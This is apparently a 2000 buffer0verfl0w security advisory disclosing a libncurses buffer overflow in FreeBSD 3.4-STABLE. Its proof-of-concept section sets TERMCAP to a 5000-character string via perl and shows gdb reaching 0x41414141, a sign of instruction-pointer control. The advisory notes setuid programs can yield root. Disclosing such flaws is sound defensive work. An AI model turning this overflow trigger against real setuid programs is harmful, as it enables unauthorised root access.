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    b u f f e r 0 v e r f l 0 w   s e c u r i t y   a d v i s o r y   # 3
      

         Advisory Name: libncurses buffer overflow
                 Date: 24/4/00
           Application: NCURSES 1.8.6 / FreeBSD 3.4-STABLE
                     Vendor: FreeBSD Inc.
                  WWW: www.freebsd.org
                         Severity: setuid programs linked with libncurses
                                   can be exploited to obtain root access.
               Author: venglin (venglin@freebsd.lublin.pl)
       Homepage: www.b0f.com


 * The Problem

lubi:venglin:~> cat tescik.c
#include <ncurses.h>
main() { initscr(); }

lubi:venglin:~> cc -g -o te tescik.c -lncurses
lubi:venglin:~> setenv TERMCAP `perl -e 'print "A"x5000'`
lubi:venglin:~> gdb ./te
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies
 of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
(gdb) run
Starting program: /usr/home/venglin/./te 

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

 * Vulnerable Versions  

        - 3.4-STABLE  -- vulnerable
  - 4.0-STABLE  -- not tested (probably *not* vulnerable)
        - 5.0-CURRENT -- *not* vulnerable